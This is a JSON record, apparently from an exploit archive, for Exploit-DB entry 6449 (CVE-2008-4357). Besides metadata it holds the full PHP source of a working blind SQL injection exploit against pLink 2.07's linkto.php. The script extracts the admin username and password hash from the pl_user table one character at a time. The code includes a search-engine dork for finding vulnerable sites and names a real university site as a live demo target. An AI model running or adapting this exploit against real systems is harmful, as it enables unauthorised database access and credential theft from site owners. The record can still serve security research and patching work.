{"exploit":{"id":"EDB-6449","name":"pLink 2.07 - 'linkto.php' Blind SQL Injection (SQLi)","description":"pLink 2.07 - 'linkto.php' Blind SQL Injection (SQLi)","cves":["CVE-2008-4357"],"author":"Stack","published":"2008-09-13","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6449","path":"exploits/php/webapps/6449.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6449.php","vulnerabilities":[{"id":"CVE-2008-4357","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in linkto.php in Powie pLink 2.07 allows remote attackers to execute arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4357","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4357"},"updatedAt":"2024-08-07T10:17:08.434Z","retrievedAt":"2026-11-27T04:06:58.582Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6449.png?v=2","url":"https://exploitbin.com/exploits/EDB-6449","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6449/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6449/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\nini_set(\"max_execution_time\",0);\nprint_r('\n###############################################################\n#\n#             pLink 2.07 - Blind SQL Injection Exploit\n#\n#      Vulnerability discovered by: Stack\n#      Exploit coded by:            Stack\n#      Greetz to:                   All My Freind\n#\n###############################################################\n#\n#      Dork:        intext:\"pLink 2.07\"\n#      Admin Panel: [Target]/link/\n#      Usage:       php '.$argv[0].' [Target] [Userid]\n#      Example for http://www.site.com/link/linkto.php?id=[Real id] 2\n#      => php '.$argv[0].' http://www.site.com/link/linkto.php?id=128 2\n#  Live Demo :\n#   http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2\n#\n###############################################################\n');\nif ($argc > 1) {\n$url = $argv[1];\nif ($argc < 3) {\n$userid = 1;\n} else {\n$userid = $argv[2];\n}\n$r = strlen(file_get_contents($url.\"+and+1=1/*\"));\necho \"\\nExploiting:\\n\";\n$w = strlen(file_get_contents($url.\"+and+1=0/*\"));\n$t = abs((100-($w/$r*100)));\necho \"Password: \";\nfor ($j = 1; $j <= 32; $j++) {\n   for ($i = 46; $i <= 102; $i=$i+2) {\n      if ($i == 60) {\n         $i = 98;\n      }\n      $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+pwd+from+pl_user+where+id=\".$userid.\"+limit+0,1),\".$j.\",1))%3E\".$i.\"/*\"));\n      if (abs((100-($laenge/$r*100))) > $t-1) {\n         $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+pwd+from+pl_user+where+id=\".$userid.\"+limit+0,1),\".$j.\",1))%3E\".($i-1).\"/*\"));\n         if (abs((100-($laenge/$r*100))) > $t-1) {\n            echo chr($i-1);\n         } else {\n            echo chr($i);\n         }\n         $i = 102;\n      }\n   }\n}\necho \"\\nUsername: \";\nfor ($i=1; $i <= 30; $i++) {\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+pl_user+where+id=\".$userid.\"+limit+0,1),\".$i.\",1))!=0/*\"));\n   if (abs((100-($laenge/$r*100))) > $t-1) {\n      $count = $i;\n      $i = 30;\n   }\n}\nfor ($j = 1; $j < $count; $j++) {\n   for ($i = 46; $i <= 122; $i=$i+2) {\n      if ($i == 60) {\n         $i = 98;\n      }\n      $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+pl_user+where+id=\".$userid.\"+limit+0,1),\".$j.\",1))%3E\".$i.\"/*\"));\n      if (abs((100-($laenge/$r*100))) > $t-1) {\n         $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+pl_user+where+id=\".$userid.\"+limit+0,1),\".$j.\",1))%3E\".($i-1).\"/*\"));\n         if (abs((100-($laenge/$r*100))) > $t-1) {\n            echo chr($i-1);\n         } else {\n            echo chr($i);\n         }\n         $i = 122;\n      }\n   }\n}\n} else {\necho \"\\nExploiting failed: By Stack\\n\";\n}\n?>\n\n# milw0rm.com [2008-09-13]","sha256":"aab799ada5273494153fe263700593752c478cccd156768e7865bbaac8d07bbb","bytes":2723,"fetchedAt":"2026-11-27T04:06:50.537Z","encoding":"utf-8 (display only; download retains original bytes)"}